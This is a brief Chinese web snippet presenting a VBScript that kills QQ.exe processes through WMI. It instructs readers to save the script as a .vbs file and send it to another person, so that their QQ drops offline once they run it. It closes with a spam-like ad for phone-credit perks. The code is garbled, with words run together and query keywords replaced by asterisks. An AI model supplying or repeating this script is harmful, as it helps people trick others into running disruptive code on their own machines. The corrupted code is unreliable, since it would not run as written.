代码如下
strComputer=“.“SetobjWMIService
=GetObject(“winmgmts:\
\“&strComputer&“\root\cimv2“)
SetcolProcessList=objWMIService.*Query
(“* * from Win32_
Processwhere Name=‘QQ.exe‘
“)ForEach objProcess in
colProcessListobjProcess.Terminate
()next使用方法：把代码复制到记
事本中，保存为.vbs后缀的文件，
发送给对方，一旦对方运行了，
QQ瞬间就会掉线，注意：一定要
保存为 vbs 类型的文件哦
话费福利来了：点击进入